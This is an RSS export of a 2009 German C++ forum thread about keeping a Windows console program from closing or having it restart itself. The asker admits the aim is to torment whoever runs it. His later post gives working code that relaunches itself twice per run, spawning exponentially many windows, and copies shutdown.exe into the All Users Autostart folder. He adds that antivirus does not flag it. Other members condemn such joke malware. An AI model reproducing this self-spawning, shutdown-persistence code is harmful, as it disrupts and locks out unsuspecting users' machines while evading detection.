<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[console schließen rauszögern&#x2F;verhindern]]></title><description><![CDATA[<p>eine console anwendung soll sich entweder:<br />
- nicht schließen lassen (eigentlich nicht so gut(für mich))<br />
- verzögert schließen lassen<br />
- oder nach schließen neu starten (besste Variante)</p>
<p>bei einer Winapi hab ich schon mal so was gemacht (eig nicht mein Spezial Gebiet)<br />
aber bei einer console anwendung wüsste ich nicht wie, erhoffe hilfe</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/238283/console-schließen-rauszögern-verhindern</link><generator>RSS for Node</generator><lastBuildDate>Wed, 23 Sep 2026 03:40:10 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/238283.rss" rel="self" type="application/rss+xml"/><pubDate>Wed, 08 Apr 2009 17:18:49 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to console schließen rauszögern&#x2F;verhindern on Wed, 08 Apr 2009 17:18:49 GMT]]></title><description><![CDATA[<p>eine console anwendung soll sich entweder:<br />
- nicht schließen lassen (eigentlich nicht so gut(für mich))<br />
- verzögert schließen lassen<br />
- oder nach schließen neu starten (besste Variante)</p>
<p>bei einer Winapi hab ich schon mal so was gemacht (eig nicht mein Spezial Gebiet)<br />
aber bei einer console anwendung wüsste ich nicht wie, erhoffe hilfe</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1693019</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1693019</guid><dc:creator><![CDATA[5cript]]></dc:creator><pubDate>Wed, 08 Apr 2009 17:18:49 GMT</pubDate></item><item><title><![CDATA[Reply to console schließen rauszögern&#x2F;verhindern on Wed, 08 Apr 2009 17:30:36 GMT]]></title><description><![CDATA[<blockquote>
<p>bei einer Winapi hab ich schon mal so was gemacht (eig nicht mein Spezial Gebiet)<br />
aber bei einer console anwendung wüsste ich nicht wie, erhoffe hilfe</p>
</blockquote>
<p>Ja, WINAPI benötigst Du dafür.<br />
CreateProcess oder ShellExecute, ShellExecuteEx.</p>
<p>Simon</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1693027</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1693027</guid><dc:creator><![CDATA[theta]]></dc:creator><pubDate>Wed, 08 Apr 2009 17:30:36 GMT</pubDate></item><item><title><![CDATA[Reply to console schließen rauszögern&#x2F;verhindern on Wed, 08 Apr 2009 17:32:16 GMT]]></title><description><![CDATA[<p>Mit Standard C++ unmöglich ... so langsam brennt sich dieser Satz in meine Finger ein, so oft habe ich den schon geschrieben <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /><br />
Auf Windows über die WinAPI (ja, wer hätte es gedacht?) möglich. Du könntest eine Funktion schreiben, welche du an <a href="http://msdn.microsoft.com/en-us/library/ms686016.aspx" rel="nofollow">SetConsoleCtrlHandler</a> übergibst. Darin kannst du auf die Ereignisse wie das Schliessen der Konsole reagieren.</p>
<p>Mit <a href="http://msdn.microsoft.com/en-us/library/bb762153.aspx" rel="nofollow">ShellExecute</a> kannst du dein Programm erneut starten. Also kurz bevor deine Konsole geschlossen wird, kannst du ein neuer Prozess erstellen.</p>
<p>Aber wozu das gut sein soll?</p>
<p>Grüssli</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1693030</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1693030</guid><dc:creator><![CDATA[Dravere]]></dc:creator><pubDate>Wed, 08 Apr 2009 17:32:16 GMT</pubDate></item><item><title><![CDATA[Reply to console schließen rauszögern&#x2F;verhindern on Wed, 08 Apr 2009 17:36:43 GMT]]></title><description><![CDATA[<p>theta schrieb:</p>
<blockquote>
<p>Ja, WINAPI benötigst Du dafür.<br />
CreateProcess oder ShellExecute, ShellExecuteEx.</p>
</blockquote>
<p>das problem ist bei Shellexecute zb brauch ich nen datei Pfad das kann man schonmal knicken Create Process kenne cih nicht... editiere diesen Beitrag noch googele nach createprocess.<br />
Ok soweit ich sehen konnte war bei create Process auch ein Pfad notwendig.<br />
Lässt sich das mit &lt;windows.h&gt; machen... das Winapi fenster ist ja einfach, das neu zu machen, aber hier lass ich schließlich die console mit anzeigen, da ist das ein leichtes. Mit Pfad wäre ok, wenn das Prog sich selbst &quot;finden&quot; könnte, da ich mal annehme das das nicht geht... <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1693031</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1693031</guid><dc:creator><![CDATA[5cript]]></dc:creator><pubDate>Wed, 08 Apr 2009 17:36:43 GMT</pubDate></item><item><title><![CDATA[Reply to console schließen rauszögern&#x2F;verhindern on Wed, 08 Apr 2009 17:38:58 GMT]]></title><description><![CDATA[<p>Tim06TR schrieb:</p>
<blockquote>
<p>das problem ist bei Shellexecute zb brauch ich nen datei Pfad das kann man schonmal knicken ...</p>
</blockquote>
<p>Wieso? Du wirst immer einen Pfad zu einer *.exe brauchen, um eine solche zu starten. Daran wirst du wohl nicht vorbeikommen.</p>
<p>Tim06TR schrieb:</p>
<blockquote>
<p>..., wenn das Prog sich selbst &quot;finden&quot; könnte, da ich mal annehme das das nicht geht... <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
</blockquote>
<p>Klar kann ein Programm das!<br />
<a href="http://www.c-plusplus.net/forum/viewtopic-var-t-is-157428.html" rel="nofollow">http://www.c-plusplus.net/forum/viewtopic-var-t-is-157428.html</a></p>
<p>Grüssli</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1693036</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1693036</guid><dc:creator><![CDATA[Dravere]]></dc:creator><pubDate>Wed, 08 Apr 2009 17:38:58 GMT</pubDate></item><item><title><![CDATA[Reply to console schließen rauszögern&#x2F;verhindern on Wed, 08 Apr 2009 17:43:37 GMT]]></title><description><![CDATA[<p>AHH COOL mit</p>
<pre><code class="language-cpp">TCHAR szFileName[MAX_PATH];
GetModuleFileName(NULL, szFileName, sizeof(szFileName) / sizeof(TCHAR));
MessageBox(NULL, szFileName, TEXT(&quot;Info&quot;), 0);
</code></pre>
<p>kann man den Pfad rausfinden, aber wie sag ich jetzt dem programm er soll sich starten wenn es sich schließt bei winapi heißt case destroy oder so</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1693038</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1693038</guid><dc:creator><![CDATA[5cript]]></dc:creator><pubDate>Wed, 08 Apr 2009 17:43:37 GMT</pubDate></item><item><title><![CDATA[Reply to console schließen rauszögern&#x2F;verhindern on Wed, 08 Apr 2009 17:44:13 GMT]]></title><description><![CDATA[<p>Tim06TR schrieb:</p>
<blockquote>
<p>kann man den Pfad rausfinden, aber wie sag ich jetzt dem programm er soll sich starten wenn es sich schließt bei winapi heißt case destroy oder so</p>
</blockquote>
<p>In dem du meinen ersten Post in diesem Thread liest :p</p>
<p>Grüssli</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1693039</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1693039</guid><dc:creator><![CDATA[Dravere]]></dc:creator><pubDate>Wed, 08 Apr 2009 17:44:13 GMT</pubDate></item><item><title><![CDATA[Reply to console schließen rauszögern&#x2F;verhindern on Wed, 08 Apr 2009 17:47:20 GMT]]></title><description><![CDATA[<p>tut mir leid aber den konnte ich nicht sehen, da ich grad am beitrag erstellen war. und wozu gut ist ? NAJA .....<br />
sagen wir mal so ähhh. es soll den ausführenden ZIEMLICH nerven</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1693042</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1693042</guid><dc:creator><![CDATA[5cript]]></dc:creator><pubDate>Wed, 08 Apr 2009 17:47:20 GMT</pubDate></item><item><title><![CDATA[Reply to console schließen rauszögern&#x2F;verhindern on Wed, 08 Apr 2009 17:55:58 GMT]]></title><description><![CDATA[<p>Tim06TR schrieb:</p>
<blockquote>
<p>tut mir leid aber den konnte ich nicht sehen, da ich grad am beitrag erstellen war. und wozu gut ist ? NAJA .....<br />
sagen wir mal so ähhh. es soll den ausführenden ZIEMLICH nerven</p>
</blockquote>
<p>Ich hoffe der Nutzer hat AntiVir installiert, dabei die Option aktiviert, welche Witzprogramme verhindert und wird dir danach kräftig eins aufs Maul geben ...<br />
Meine Meinung über Programmierer von Witzprogrammen ist, wie man wohl sieht, eher schlecht. Die kommen bei mir fast in die gleiche Kategorie wie Viren-, Trojaner- und Würmerprogrammierer. Nur noch eine Stufe weiter unten, da die Programme nicht mal anspruchsvoll sind...</p>
<p>Grüssli</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1693047</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1693047</guid><dc:creator><![CDATA[Dravere]]></dc:creator><pubDate>Wed, 08 Apr 2009 17:55:58 GMT</pubDate></item><item><title><![CDATA[Reply to console schließen rauszögern&#x2F;verhindern on Wed, 08 Apr 2009 18:06:54 GMT]]></title><description><![CDATA[<p>....<br />
&lt;deleted&gt;<br />
Ich musst grade meinen Computer erneut starten aufgrund einiger Problem ....<br />
(wer es nicht versteht siehe script code)</p>
<pre><code class="language-cpp">TCHAR szFileName[MAX_PATH];
    GetModuleFileName(NULL, szFileName, sizeof(szFileName) / sizeof(TCHAR));
ShellExecute(NULL, &quot;open&quot;, szFileName, NULL, NULL, SW_SHOW);
ShellExecute(NULL, &quot;open&quot;, szFileName, NULL, NULL, SW_SHOW);
system(&quot;xcopy \&quot;C:\\Windows\\system32\\shutdown.exe\&quot; \&quot;C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\&quot;&quot;);
</code></pre>
<p>--&gt; (edit: das prog führt sich selbst aus und das dann nochmal und so weiter, dass macht 2^x Fenster :()<br />
folge abzusehen zumglück stand system(&quot;xcopy \&quot;C:\\Windows\\system32\\shutdown.exe\&quot; \&quot;C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\&quot;&quot;);<br />
als Kommentar im prog sonst hätte ich ernsthafte probleme ^^. erst bekommt eh niemand zugesendet :p</p>
<p>PS: Das aller beste dieser Programme werden nicht als Angriff bewertet, das heißt antivir meckert nicht rum und der benutzer hat trotzdem einige fette probleme</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1693048</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1693048</guid><dc:creator><![CDATA[5cript]]></dc:creator><pubDate>Wed, 08 Apr 2009 18:06:54 GMT</pubDate></item><item><title><![CDATA[Reply to console schließen rauszögern&#x2F;verhindern on Wed, 08 Apr 2009 19:22:54 GMT]]></title><description><![CDATA[<p>Tim06TR schrieb:</p>
<blockquote>
<p>PS: Das aller beste dieser Programme werden nicht als Angriff bewertet, das heißt antivir meckert nicht rum und der benutzer hat trotzdem einige fette probleme</p>
</blockquote>
<p>Meinst du nicht, du könntest deine Freizeit besser einsetzen? Wie wäre es mit sinnvollen Programmen - irgendeine Herausforderung? Aber auf diese Weise machst du dich bestimmt nur unbeliebt.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1693085</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1693085</guid><dc:creator><![CDATA[Nexus]]></dc:creator><pubDate>Wed, 08 Apr 2009 19:22:54 GMT</pubDate></item></channel></rss>